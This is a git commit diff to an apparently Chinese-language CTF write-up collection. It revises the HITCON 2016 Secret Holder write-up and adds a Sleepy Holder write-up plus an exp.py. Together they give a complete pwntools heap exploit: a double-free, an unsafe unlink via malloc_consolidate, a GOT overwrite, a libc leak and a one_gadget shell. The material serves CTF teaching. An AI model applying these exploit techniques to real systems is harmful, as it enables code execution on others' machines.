finish 6.1.22

doc/6.1.21_pwn_hitconctf2016_secret_holder.md

@@ -391,19 +391,29 @@ Which Secret do you want to wipe?
       || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
 	  && (mp_.n_mmaps < mp_.n_mmaps_max)))
     {
-        [...]
+```
-              /* update statistics */
+此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆（由`brk()`分配，位于`.bss`段附近）的位置相距很远，难以利用。所以我们要想办法使用 `brk()` 来分配，好消息是由于性能的关系，在释放由 `mmap()` 分配的 chunk 时，会动态调整阀值 `mp_.mmap_threshold` 来避免碎片化，使得下一次的分配时使用 `brk()`：
-
+```
-              int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1;
+void
-              atomic_max (&mp_.max_n_mmaps, new);
+__libc_free (void *mem)
-
+{
-              unsigned long sum;
+    [...]
-              sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
+  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
-              atomic_max (&mp_.max_mmapped_mem, sum);
+    {
-        [...]
+      /* see if the dynamic brk/mmap threshold needs adjusting */
+      if (!mp_.no_dyn_threshold
+          && p->size > mp_.mmap_threshold
+          && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
+        {
+          mp_.mmap_threshold = chunksize (p);
+          mp_.trim_threshold = 2 * mp_.mmap_threshold;
+          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
+                      mp_.mmap_threshold, mp_.trim_threshold);
+        }
+      munmap_chunk (p);
+      return;
     }
 ```
-此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆（由`brk()`分配，位于`.bss`段附近）的位置相距很远，难以利用。所以我们要想办法使用 `brk()` 来分配，好消息是由于性能的关系，在该函数结束时更新了 `mp_.max_n_mmaps`，使得下一次的分配将使得判断条件不成立，即使用 `brk()`。
 
 #### unsafe unlink
 ```python
@@ -412,7 +422,7 @@ def unlink():
     wipe(1)
     keep(2)     # big
     wipe(1)         # double free
-    keep(1)     # small
+    keep(1)     # small # overlapping
     keep(3)
     wipe(3)
     keep(3)     # huge
@@ -427,6 +437,7 @@ def unlink():
 
     wipe(3)         # unsafe unlink
 ```
+因为在分配 large chunk 的时候，glibc 首先会调用函数 `malloc_consolidate()` 来清除 fastbin 中的块。所以 big secret 被放到了原 small secret 的位置，当再次分配 small secret 的时候就造成了堆块重叠。
 
 首先制造 double free：
 ```
@@ -470,7 +481,7 @@ gdb-peda$ x/6gx 0x00602098
 #### leak libc
 ```python
 def leak():
-    global system_addr
+    global one_gadget
 
     payload  = "A" * 8
     payload += p64(elf.got['free']) # big_ptr -> free@got.plt
@@ -483,10 +494,10 @@ def leak():
     wipe(2)
     puts_addr = u64(io.recvline()[:6] + "\x00\x00")
     libc_base = puts_addr - libc.symbols['puts']
-    system_addr = libc_base + libc.symbols['system']
+    one_gadget = libc_base + 0x4525a
 
     log.info("libc base: 0x%x" % libc_base)
-    log.info("system address: 0x%x" % system_addr)
+    log.info("one_gadget address: 0x%x" % one_gadget)
 ```
 
 修改 big_ptr 指向 `free@got.plt`，small_ptr 指向 big_ptr：
@@ -569,7 +580,7 @@ def unlink():
     wipe(1)
     keep(2)     # big
     wipe(1)         # double free
-    keep(1)     # small
+    keep(1)     # small # overlapping
     keep(3)
     wipe(3)
     keep(3)     # huge

doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md

@@ -68,7 +68,7 @@ Which Secret do you want to wipe?
 2. Big secret
 1
 ```
-这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret，不同的是这里的 huge secret 是不可修改和删除的。另外在程序开始时会 sleep 几秒钟，不知道对利用有没有帮助。
+这一题看起来和上一题 Secret_Holder 差不多。同样是 small、big、huge 三种 secret，不同的是这里的 huge secret 是不可修改和删除的。
 
 
 ## 题目解析
@@ -357,6 +357,244 @@ Which Secret do you want to wipe?
 
 
 ## 漏洞利用
+总结一下我们知道的东西：
+- small secret: small chunk, 40 bytes
+  - small_ptr: 0x006020d0
+  - small_flag: 0x006020e0
+- big secret: large chunk, 4000 bytes
+  - big_ptr: 0x006020c0
+  - big_flag: 0x006020d8
+- huge secret: large chunk, 400000 bytes
+  - huge_ptr: 0x006020c8
+  - huge_flag: 0x006020dc
+
+漏洞：
+- double-free：在 free chunk 的位置 calloc 另一个 chunk，即可再次 free 这个 chunk
+- use-after-free：由于 double-free，calloc 出来的那个 chunk 被认为是 free 的，但可以使用
+
+看到这里该题与上一题的差别很明显了，就是我们没有办法再通过 `keep(huge) -> wipe(huge) -> keep(huge)` 来利用 `brk()` 分配内存，制造 unsafe unlink。
+
+然后我们又在 `_int_malloc()` 中发现了另一个东西：
+```c
+static void*
+_int_malloc(mstate av, size_t bytes)
+{
+  /*
+     If this is a large request, consolidate fastbins before continuing.
+     While it might look excessive to kill all fastbins before
+     even seeing if there is space available, this avoids
+     fragmentation problems normally associated with fastbins.
+     Also, in practice, programs tend to have runs of either small or
+     large requests, but less often mixtures, so consolidation is not
+     invoked all that often in most programs. And the programs that
+     it is called frequently in otherwise tend to fragment.
+  */
+
+  else {
+    idx = largebin_index(nb);
+    if (have_fastchunks(av))
+      malloc_consolidate(av);
+  }
+```
+当需求 chunk 是一个 large chunk 时，glibc 会将把 fastbins 中的 chunk 移除，设置 `PREV_INUSE` 为 0，合并 free chunk，然后放到 unsorted bin。接着 glibc 尝试从 unsorted bin 中取出 chunk，由于大小不合适，这些 chunk 又被放到 small bin 中：
+```c
+          /* place chunk in bin */
+
+          if (in_smallbin_range (size))
+            {
+              victim_index = smallbin_index (size);
+              bck = bin_at (av, victim_index);
+              fwd = bck->fd;
+            }
+```
+这时就可以再次释放 small secret 而不触发 double-free 的检测。
+
+那么为什么一定要将 small secret 放进 small bin 呢？因为当 chunk 被放进 small bin 时，会相应的修改 next chunk（即big secret）的 chunk header（设置prev_size，`PREV_INUSE`置0），而当 chunk 被放进 fastbins 时是不会有这样的操作的。接下来我们需要通过 double-free 将 small secret 再次放进 fastbins（这时small secret同时存在于fastbins和small bin中），再从 fastbins 中取出 small secret，原因和上面类似，从 fastbins 中取出 chunk 不会设置 next chunk 的 chunk header。这样我们才能正确地触发 unlink。
+
+#### unsafe unlink
+```python
+def unlink():
+    keep(1, "AAAA")     # small
+    keep(2, "AAAA")     # big
+    wipe(1)             # put small into fastbins
+    keep(3, "AAAA")     # huge # put small into small bin
+    wipe(1)             # double free # put small into fastbins
+
+    payload  = p64(0) + p64(0x21)       # fake header
+    payload += p64(small_ptr - 0x18)    # fake fd
+    payload += p64(small_ptr - 0x10)    # fake bk
+    payload += p64(0x20)                # fake prev_size
+    keep(1, payload)
+
+    wipe(2)             # unsafe unlink
+```
+制造 double-free：
+```
+gdb-peda$ x/5gx 0x006020c0
+0x6020c0:	0x0000000000603560	0x00007ffff7f92010
+0x6020d0:	0x0000000000603530	0x0000000100000001
+0x6020e0:	0x0000000000000000
+gdb-peda$ x/10gx 0x00603530-0x10
+0x603520:	0x0000000000000000	0x0000000000000031  <-- small
+0x603530:	0x0000000000000000	0x00007ffff7dd1b98
+0x603540:	0x0000000000000000	0x0000000000000000
+0x603550:	0x0000000000000030	0x0000000000000fb0  <-- big <-- PREV_INUSE
+0x603560:	0x0000000041414141	0x0000000000000000
+```
+上面的过程一方面通过 malloc_consolidate 设置了 big secret 的 PREV_INUSE，另一方面通过 double-free 将 small secret 放进 fastbins。
+
+在 small secret 中布置上一个 fake chunk：
+```
+gdb-peda$ x/5gx 0x006020c0
+0x6020c0:	0x0000000000603560	0x00007ffff7f92010
+0x6020d0:	0x0000000000603530	0x0000000100000001
+0x6020e0:	0x0000000000000001
+gdb-peda$ x/10gx 0x00603530-0x10
+0x603520:	0x0000000000000000	0x0000000000000031
+0x603530:	0x0000000000000000	0x0000000000000021  <-- fake chunk
+0x603540:	0x00000000006020b8	0x00000000006020c0    <-- fd, bk pointer
+0x603550:	0x0000000000000020	0x0000000000000fb0  <-- big <-- fake prev_size
+0x603560:	0x0000000041414141	0x0000000000000000
+gdb-peda$ x/gx 0x006020b8 + 0x18
+0x6020d0:	0x0000000000603530    <-- P->fd->bk = P
+gdb-peda$ x/gx 0x006020c0 + 0x10
+0x6020d0:	0x0000000000603530    <-- P->bk->fd = P
+```
+释放 big secret 即可触发 unsafe unlink：
+```
+gdb-peda$ x/6gx 0x006020b8
+0x6020b8:	0x0000000000000000	0x0000000000603560
+0x6020c8:	0x00007ffff7f92010	0x00000000006020b8  <-- fake chunk ptr
+0x6020d8:	0x0000000100000000	0x0000000000000001
+```
+于是我们就获得了修改 `.bss` 段的能力。
+
+后面的过程就和上一题完全一样了。
+
+#### leak libc
+```python
+def leak():
+    global one_gadget
+
+    payload  = "A" * 8
+    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
+    payload += "A" * 8
+    payload += p64(big_ptr)         # small_ptr -> big_ptr
+    payload += p32(1)               # big_flag
+    renew(1, payload)
+    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
+    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt
+
+    wipe(2)
+    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
+    libc_base = puts_addr - libc.symbols['puts']
+    one_gadget = libc_base + 0x4525a
+
+    log.info("libc base: 0x%x" % libc_base)
+    log.info("one_gadget address: 0x%x" % one_gadget)
+```
+
+#### pwn
+```python
+def pwn():
+    payload  = "A" * 0x10
+    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
+    renew(1, payload)
+
+    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
+    io.interactive()
+```
+
+开启 ASLR，Bingo!!!
+```
+$ python exp.py
+[+] Starting local process './SleepyHolder': pid 8352
+[*] libc base: 0x7ffbcd987000
+[*] one_gadget address: 0x7ffbcd9cc25a
+[*] Switching to interactive mode
+$ whoami
+firmy
+```
+
+#### exploit
+完整的 exp 如下：
+```python
+#!/usr/bin/env python
+
+from pwn import *
+
+#context.log_level = 'debug'
+
+io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
+elf = ELF('SleepyHolder')
+libc = ELF('libc.so.6')
+
+small_ptr = 0x006020d0
+big_ptr = 0x006020c0
+
+def keep(idx, content):
+    io.sendlineafter("Renew secret\n", '1')
+    io.sendlineafter("Big secret\n", str(idx))
+    io.sendafter("secret: \n", content)
+
+def wipe(idx):
+    io.sendlineafter("Renew secret\n", '2')
+    io.sendlineafter("Big secret\n", str(idx))
+
+def renew(idx, content):
+    io.sendlineafter("Renew secret\n", '3')
+    io.sendlineafter("Big secret\n", str(idx))
+    io.sendafter("secret: \n", content)
+
+def unlink():
+    keep(1, "AAAA")     # small
+    keep(2, "AAAA")     # big
+    wipe(1)             # put small into fastbins
+    keep(3, "AAAA")     # huge # put small into small bin
+    wipe(1)             # double free # put small into fastbins
+
+    payload  = p64(0) + p64(0x21)       # fake header
+    payload += p64(small_ptr - 0x18)    # fake fd
+    payload += p64(small_ptr - 0x10)    # fake bk
+    payload += p64(0x20)                # fake prev_size
+    keep(1, payload)
+
+    wipe(2)             # unsafe unlink
+
+def leak():
+    global one_gadget
+
+    payload  = "A" * 8
+    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
+    payload += "A" * 8
+    payload += p64(big_ptr)         # small_ptr -> big_ptr
+    payload += p32(1)               # big_flag
+    renew(1, payload)
+    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
+    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt
+
+    wipe(2)
+    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
+    libc_base = puts_addr - libc.symbols['puts']
+    one_gadget = libc_base + 0x4525a
+
+    log.info("libc base: 0x%x" % libc_base)
+    log.info("one_gadget address: 0x%x" % one_gadget)
+
+def pwn():
+    payload  = "A" * 0x10
+    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
+    renew(1, payload)
+
+    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
+    io.interactive()
+
+if __name__ == "__main__":
+    unlink()
+    leak()
+    pwn()
+```
+
 
 ## 参考资料
 - https://ctftime.org/task/4812

src/writeup/6.1.21_pwn_hitconctf2016_secret_holder/exp.py

@@ -30,7 +30,7 @@ def unlink():
     wipe(1)
     keep(2)     # big
     wipe(1)         # double free
-    keep(1)     # small
+    keep(1)     # small # overlapping
     keep(3)
     wipe(3)
     keep(3)     # huge

src/writeup/6.1.22_pwn_hitconctf2016_sleepy_holder/exp.py

@@ -0,0 +1,74 @@
+#!/usr/bin/env python
+
+from pwn import *
+
+#context.log_level = 'debug'
+
+io = process(['./SleepyHolder'], env={'LD_PRELOAD':'./libc.so.6'})
+elf = ELF('SleepyHolder')
+libc = ELF('libc.so.6')
+
+small_ptr = 0x006020d0
+big_ptr = 0x006020c0
+
+def keep(idx, content):
+    io.sendlineafter("Renew secret\n", '1')
+    io.sendlineafter("Big secret\n", str(idx))
+    io.sendafter("secret: \n", content)
+
+def wipe(idx):
+    io.sendlineafter("Renew secret\n", '2')
+    io.sendlineafter("Big secret\n", str(idx))
+
+def renew(idx, content):
+    io.sendlineafter("Renew secret\n", '3')
+    io.sendlineafter("Big secret\n", str(idx))
+    io.sendafter("secret: \n", content)
+
+def unlink():
+    keep(1, "AAAA")     # small
+    keep(2, "AAAA")     # big
+    wipe(1)             # put small into fastbins
+    keep(3, "AAAA")     # huge # put small into small bin
+    wipe(1)             # double free # put small into fastbins
+
+    payload  = p64(0) + p64(0x21)       # fake header
+    payload += p64(small_ptr - 0x18)    # fake fd
+    payload += p64(small_ptr - 0x10)    # fake bk
+    payload += p64(0x20)                # fake prev_size
+    keep(1, payload)
+
+    wipe(2)             # unsafe unlink
+
+def leak():
+    global one_gadget
+
+    payload  = "A" * 8
+    payload += p64(elf.got['free']) # big_ptr -> free@got.plt
+    payload += "A" * 8
+    payload += p64(big_ptr)         # small_ptr -> big_ptr
+    payload += p32(1)               # big_flag
+    renew(1, payload)
+    renew(2, p64(elf.plt['puts']))  # free@got.plt -> puts@plt
+    renew(1, p64(elf.got['puts']))  # big_ptr -> puts@got.plt
+
+    wipe(2)
+    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
+    libc_base = puts_addr - libc.symbols['puts']
+    one_gadget = libc_base + 0x4525a
+
+    log.info("libc base: 0x%x" % libc_base)
+    log.info("one_gadget address: 0x%x" % one_gadget)
+
+def pwn():
+    payload  = "A" * 0x10
+    payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt
+    renew(1, payload)
+
+    renew(1, p64(one_gadget))       # puts@got.plt -> one_gadget
+    io.interactive()
+
+if __name__ == "__main__":
+    unlink()
+    leak()
+    pwn()